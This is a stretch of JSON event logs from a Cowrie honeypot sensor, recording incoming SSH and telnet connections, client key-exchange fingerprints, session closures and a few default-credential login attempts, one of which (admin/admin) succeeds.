{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:01.210807Z","src_ip":"165.22.23.144","session":"d563e3bbf942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.970484972000122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:01.436424Z","src_ip":"213.129.84.225","session":"7fce7b130567","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:01.474364Z","src_ip":"165.22.23.144","session":"d563e3bbf942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.74304747581482,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:02.008968Z","src_ip":"137.184.155.248","session":"7dbf582d9bb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.339553356170654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:02.044833Z","src_ip":"213.129.84.225","session":"a971193cb27f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824005365371704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:02.089344Z","src_ip":"213.129.84.225","session":"9dbd86c6fdfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42360782623291,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:02.510830Z","src_ip":"207.148.4.7","session":"07494072deeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.322125911712646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:03.080807Z","src_ip":"213.129.84.225","session":"dc4e8d1fee5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:03.093203Z","src_ip":"165.22.23.144","session":"d563e3bbf942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.23.144","src_port":44730,"dst_ip":"159.203.135.109","dst_port":22,"session":"587e863f58b8","protocol":"ssh","message":"New connection: 165.22.23.144:44730 (159.203.135.109:22) [session: 587e863f58b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:03.245595Z"}
{"eventid":"cowrie.session.closed","duration":30.460489749908447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:04.047715Z","src_ip":"213.129.84.225","session":"babc04dd0de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.754701852798462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:04.177079Z","src_ip":"213.129.84.225","session":"481ada651c28","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:05.232332Z","src_ip":"165.22.23.144","session":"587e863f58b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.11242961883545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:05.278322Z","src_ip":"213.129.84.225","session":"0630e06a614e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60906,"dst_ip":"159.203.135.109","dst_port":23,"session":"06bd9abb1389","protocol":"telnet","message":"New connection: 213.129.84.225:60906 (159.203.135.109:23) [session: 06bd9abb1389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:06.688084Z"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:07.181619Z","src_ip":"165.22.23.144","session":"587e863f58b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37024,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cab54ee2270","protocol":"telnet","message":"New connection: 137.184.155.248:37024 (10.17.0.5:23) [session: 3cab54ee2270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:07.188891Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":56946,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfa4fce5c6c9","protocol":"telnet","message":"New connection: 207.148.4.7:56946 (159.203.135.109:23) [session: cfa4fce5c6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:07.206328Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35358,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8894bc07e91","protocol":"telnet","message":"New connection: 213.129.84.225:35358 (159.203.135.109:23) [session: f8894bc07e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:07.326188Z"}
{"eventid":"cowrie.session.closed","duration":49.73037004470825,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:07.547222Z","src_ip":"137.184.155.248","session":"65e4d24ad2fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.454978466033936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:07.735512Z","src_ip":"207.148.4.7","session":"fb2b52651047","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nil","password":"","message":"login attempt [nil/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:08.379856Z","src_ip":"165.22.23.144","session":"587e863f58b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.25571370124817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:08.396871Z","src_ip":"213.129.84.225","session":"c17aa7b64464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41082,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f6182a18dda","protocol":"telnet","message":"New connection: 213.129.84.225:41082 (159.203.135.109:23) [session: 6f6182a18dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:08.521140Z"}
{"eventid":"cowrie.session.closed","duration":31.634455919265747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:08.640890Z","src_ip":"207.148.4.7","session":"cda11cea34b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42722,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b83373b09b8","protocol":"telnet","message":"New connection: 213.129.84.225:42722 (159.203.135.109:23) [session: 1b83373b09b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:08.933531Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:09.465359Z","src_ip":"165.22.23.144","session":"587e863f58b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.23.144","src_port":44756,"dst_ip":"159.203.135.109","dst_port":22,"session":"99b1696f7fc4","protocol":"ssh","message":"New connection: 165.22.23.144:44756 (159.203.135.109:22) [session: 99b1696f7fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:09.540709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:09.546055Z","src_ip":"165.22.23.144","session":"99b1696f7fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:09.626738Z","src_ip":"165.22.23.144","session":"99b1696f7fc4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:09.869883Z","src_ip":"165.22.23.144","session":"99b1696f7fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:09.960880Z","src_ip":"165.22.23.144","session":"99b1696f7fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.93747568130493,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:10.463547Z","src_ip":"137.184.155.248","session":"008c587e19f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51932,"dst_ip":"159.203.135.109","dst_port":23,"session":"953b2c2fa884","protocol":"telnet","message":"New connection: 213.129.84.225:51932 (159.203.135.109:23) [session: 953b2c2fa884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:10.848112Z"}
{"eventid":"cowrie.session.closed","duration":31.856672763824463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:10.957613Z","src_ip":"207.148.4.7","session":"88ec7820c412","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01421618461609,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:11.046530Z","src_ip":"213.129.84.225","session":"9e5d0ed9a781","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.268102169036865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:11.128591Z","src_ip":"207.148.4.7","session":"0ad3c8a9e191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":56950,"dst_ip":"159.203.135.109","dst_port":23,"session":"04947ac06c90","protocol":"telnet","message":"New connection: 207.148.4.7:56950 (159.203.135.109:23) [session: 04947ac06c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:11.732853Z"}
{"eventid":"cowrie.session.closed","duration":31.02662444114685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:12.072025Z","src_ip":"213.129.84.225","session":"912a3c3a2a5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":56958,"dst_ip":"159.203.135.109","dst_port":23,"session":"57e96fa1e31a","protocol":"telnet","message":"New connection: 207.148.4.7:56958 (159.203.135.109:23) [session: 57e96fa1e31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:12.281328Z"}
{"eventid":"cowrie.session.closed","duration":31.16470432281494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:13.209078Z","src_ip":"207.148.4.7","session":"afbb76e30092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":56966,"dst_ip":"159.203.135.109","dst_port":23,"session":"722a63a9c6bb","protocol":"telnet","message":"New connection: 207.148.4.7:56966 (159.203.135.109:23) [session: 722a63a9c6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:13.216836Z"}
{"eventid":"cowrie.session.closed","duration":31.03652858734131,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:13.318937Z","src_ip":"207.148.4.7","session":"a82f2a1b7623","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76111078262329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:13.618923Z","src_ip":"207.148.4.7","session":"a781284e114a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.96945810317993,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:14.060348Z","src_ip":"137.184.155.248","session":"bd418f698fd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9384183883667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:14.155392Z","src_ip":"213.129.84.225","session":"33c574a1d8a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.661153078079224,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:14.291061Z","src_ip":"137.184.155.248","session":"807ede6b9aa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41980,"dst_ip":"159.203.135.109","dst_port":23,"session":"68f7276ac267","protocol":"telnet","message":"New connection: 213.129.84.225:41980 (159.203.135.109:23) [session: 68f7276ac267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:14.895715Z"}
{"eventid":"cowrie.session.closed","duration":30.495612621307373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:15.044560Z","src_ip":"213.129.84.225","session":"5e48f8dabeb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":58036,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf3c22f3b3d4","protocol":"telnet","message":"New connection: 207.148.4.7:58036 (159.203.135.109:23) [session: bf3c22f3b3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:15.317317Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52336,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dd874965723","protocol":"telnet","message":"New connection: 213.129.84.225:52336 (159.203.135.109:23) [session: 5dd874965723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:16.963919Z"}
{"eventid":"cowrie.session.closed","duration":30.266565322875977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:17.084217Z","src_ip":"213.129.84.225","session":"b924f9c0228c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924028635025024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:17.122460Z","src_ip":"213.129.84.225","session":"495b42026815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":58058,"dst_ip":"159.203.135.109","dst_port":23,"session":"842e4a2b568a","protocol":"telnet","message":"New connection: 207.148.4.7:58058 (159.203.135.109:23) [session: 842e4a2b568a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:18.050396Z"}
{"eventid":"cowrie.session.closed","duration":31.07529044151306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:18.076719Z","src_ip":"207.148.4.7","session":"570dc9f7feb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":58060,"dst_ip":"159.203.135.109","dst_port":23,"session":"c562d3694128","protocol":"telnet","message":"New connection: 207.148.4.7:58060 (159.203.135.109:23) [session: c562d3694128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:18.444506Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34492,"dst_ip":"159.203.135.109","dst_port":23,"session":"39772b4471c0","protocol":"telnet","message":"New connection: 213.129.84.225:34492 (159.203.135.109:23) [session: 39772b4471c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:19.213478Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":58052,"dst_ip":"159.203.135.109","dst_port":23,"session":"a25c29f9be7f","protocol":"telnet","message":"New connection: 207.148.4.7:58052 (159.203.135.109:23) [session: a25c29f9be7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:19.433674Z"}
{"eventid":"cowrie.session.closed","duration":30.482646703720093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:20.066915Z","src_ip":"213.129.84.225","session":"2e4ebc097a43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42158,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d3b55cd2f3f","protocol":"telnet","message":"New connection: 213.129.84.225:42158 (159.203.135.109:23) [session: 7d3b55cd2f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:20.721771Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43340,"dst_ip":"159.203.135.109","dst_port":23,"session":"833d97c9831f","protocol":"telnet","message":"New connection: 213.129.84.225:43340 (159.203.135.109:23) [session: 833d97c9831f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:21.026070Z"}
{"eventid":"cowrie.session.closed","duration":30.88502311706543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:21.037249Z","src_ip":"207.148.4.7","session":"6845084e2015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46756,"dst_ip":"159.203.135.109","dst_port":23,"session":"68da6c0de2c8","protocol":"telnet","message":"New connection: 213.129.84.225:46756 (159.203.135.109:23) [session: 68da6c0de2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:21.736015Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":58076,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3a2b7a75d30","protocol":"telnet","message":"New connection: 207.148.4.7:58076 (159.203.135.109:23) [session: b3a2b7a75d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:22.065009Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52244,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d4f912ec746","protocol":"telnet","message":"New connection: 213.129.84.225:52244 (159.203.135.109:23) [session: 9d4f912ec746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:22.870407Z"}
{"eventid":"cowrie.session.closed","duration":30.704840421676636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:23.039386Z","src_ip":"213.129.84.225","session":"6308836b94d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972317457199097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:23.090651Z","src_ip":"213.129.84.225","session":"de9c3c6bdb28","protocol":"telnet"}
